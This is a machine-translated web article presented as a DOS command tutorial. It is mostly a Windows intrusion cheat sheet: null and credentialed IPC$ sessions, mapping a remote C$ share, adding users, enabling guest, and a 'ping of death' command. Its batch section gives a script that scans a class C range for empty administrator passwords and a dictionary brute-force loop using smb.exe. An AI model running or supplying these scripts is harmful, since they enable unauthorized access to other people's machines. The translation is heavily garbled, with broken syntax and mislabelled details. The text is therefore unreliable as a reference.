Shulou(Shulou.com)06/03 Report--

This article mainly introduces the "tutorial on the use of DOS". In the daily operation, I believe that many people have doubts about the use of DOS. The editor consulted all kinds of materials and sorted out simple and easy-to-use methods of operation. I hope it will be helpful for you to answer the doubts of "tutorial on the use of DOS"! Next, please follow the editor to study!

Net use\\ ip\ ipc$ "" / user: "" establish an empty IPC link

Net use\\ ip\ ipc$ "password" / user: "user name" to establish an IPC non-empty link

Net use h:\\ ip\ c $"password" / user: "user name" is mapped to the other party after logging in directly. C: to the local is H:

Net use h:\\ ip\ c$ after login, map the other party C: to the local H:

Net use\\ ip\ ipc$ / del remove the IPC link

Net use h: / del removes the mapping from the other party to the local H:

Net user username password / add establish user

Net user guest / active:yes activate guest user

Netstat-s to view the usage of all protocols in use

If one of the ports of nbtstat-An ip is open, you can check the user name of the last login of the other party (user name before 03)-Note: parameter-A should be capitalized.

Tracert-the parameter ip (or computer name) tracks the route (packet), and the parameter "- w digit" is used to set the timeout interval.

Ping ip (or domain name) sends data with a default size of 32 bytes to the other host. The parameter: "- l [space] packet size"; "- n times of data sent"; "- t" refers to ping all the time.

Ping-t-l 65550 ip ping of death (sending files greater than 64K and ping all the time becomes the ping of death)

Ipconfig (winipcfg) is used for windows NT and XP (windows 9598) to view the local ip address. The parameter "/ all" available for ipconfig displays all configuration information.

After adding the-F parameter to the del-F file name, you can delete read-only files. / AR, / AH, / AS, / AA means to delete read-only, hidden, system, and archived files, respectively. / AMUR, / AMUH, / AMUS, / AMUE A means to delete files other than read-only, hidden, system and archive. For example, "DEL/AR *. *" deletes all read-only files in the current directory, and "DEL/A-S *. *" deletes all files in the current directory except system files.

Del / S / Q directory or use: rmdir / s / Q directory / S to delete the directory and all subdirectories and files under the directory. At the same time, use the parameter / Q to cancel the deletion operation and delete it directly when the system confirms it. (the two commands have the same effect)

New commands under win2003 system (practical part):

The shutdown / parameter shuts down or restarts the local or remote host.

Parameter description: / S shuts down the host, / R restarts the host, / T digits to set the delay time, range 0,180 seconds, / A cancels boot, / M / / IP specifies the remote host.

Example: shutdown / r / t 0 restarts the local host immediately (without delay)

Taskill / Parameter process name or process pid terminates one or more tasks and processes.

Parameter description: / PID to terminate the pid of the process, you can use the tasklist command to obtain the process name of the process to be terminated by the pid,/IM of each process, / F to force the termination of the process, / T to terminate the specified process and the child processes he started.

Tasklist displays the process identifiers (PID) of processes, services, and service processes currently running on local and remote hosts.

Parameter description: / M lists the dll file loaded by the current process, / SVC shows the corresponding service for each process, and only the current process is listed when there are no parameters.

Attached: batch commands and variables

Basic format of 1:for commands and variables:

FOR / parameter% variable IN (set) DO command [command_parameters]% variable: specify a single letter replaceable parameter, such as:% I, while specifying a variable uses:% I, and when calling a variable:% I%, the variable is case sensitive (% I is not equal to% I).

A total of 10 variables can be processed in a batch from% 0 ip% 9, of which% 0 defaults to the batch file name, and% 1 defaults to the first value entered when using this batch. Similarly:% 2 ip% 9 refers to the 2-9 values entered; for example: ip is% 1 in ipc$ pass / user:user, ip is% 2, user is% 3.

(set): specify a file or group of files, using wildcards, such as (D:\ user.txt) and (11254) (1-1254). {"(1254)" the first "1" indicates the starting value, the second "1" refers to the growth, and the third "254refers to the end value, that is, from 1 to 254;" (1-1254) "description: from 254to 1}

Command: specifies the command to be executed on the first file, such as the net use command; if multiple commands are to be executed, the command is separated by: &

Command_parameters: specify parameters or command line switches for specific commands

IN (set): means to take a value in (set); DO command: means to execute command

Parameters: / L refers to the incremental form {(set) for incremental form}; / F refers to taking values from the file until the end {(set) is a file, such as (d:\ pass.txt)}.

Examples of usage:

@ echo off

Echo usage format: test.bat *. *. * > test.txt

For / L%% G in (11 254) do echo% 1% G > > test.txt & net use\\% 1% G / user:administrator | find "command completed successfully" > > test.txt

Save as test.bat description: for a specified class C network segment of 254IP in turn try to establish an administrator password is empty IPC$ connection, if successful, the IP is stored in the test.txt.

/ L refers to the first three bits of IP entered in incremental form: *.% G, the default for batch processing, is the variable (the last bit of ip); & it is used to separate the commands echo from net use; | after the ipc$ is established, use find to check whether there is a "command completed successfully" message in the result;% 1%% G is the complete IP address. (11 254) refers to the starting value, the amount of growth, and the ending value.

@ echo off

Echo usage format: ok.bat ip

FOR / F% I IN (D:\ user.dic) DO smb.exe% 1% I D:\ pass.dic 200

Save as: ok.exe description: after entering an IP, use the dictionary file d:\ pass.dic to expose the user password in d:\ user.dic until the values in the file are taken out. I is the user name; 1 is the entered IP address (default).

Basic format of 2:if commands and variables:

IF [not] errorlevel numeric command statement specifies that the condition is true if the program finally returns an exit code equal to or greater than the specified number.

Example: IF errorlevel 0 command refers to the command after the value line when the value returned by the program is 0; IF not errorlevel 1 command means that the last value returned by the program execution is not equal to 1, then the following command is executed.

0 refers to discovery and successful execution (true); 1 refers to no discovery, no execution (false).

IF [not] string 1 string = string 2 command statement executes the following command if the specified text string matches (that is, string 1 equals string 2).

Example: "if"% 2 "=" 4 "goto start" means: if the second variable entered is 4, execute the following command (note: when calling the variable, the variable name is% and add "")

IF [not] exist filename command statement executes the following command if the specified filename exists.

Example: "if not nc.exe goto end" means: if you do not find the nc.exe file, skip to the ": end" tag.

IF [not] errorlevel numeric command statement else command statement or IF [not] string 1 "= string 2 command statement else command statement or IF [not] exist file name command statement else command statement plus: else command statement means: when the previous condition is not true, it refers to the command after the line else. Note: else must be on the same line as if to be valid. When there is a del command, you need to use the full contents of the del command.

< >

To sum up, because the del command can only be executed on a separate line, use the

< >

After that is equivalent to a separate line; for example: "if exist test.txt. Else echo test.txt.missing", pay attention to the "." in the command.

At this point, the study on the "tutorial on the use of DOS" is over. I hope to be able to solve your doubts. The collocation of theory and practice can better help you learn, go and try it!
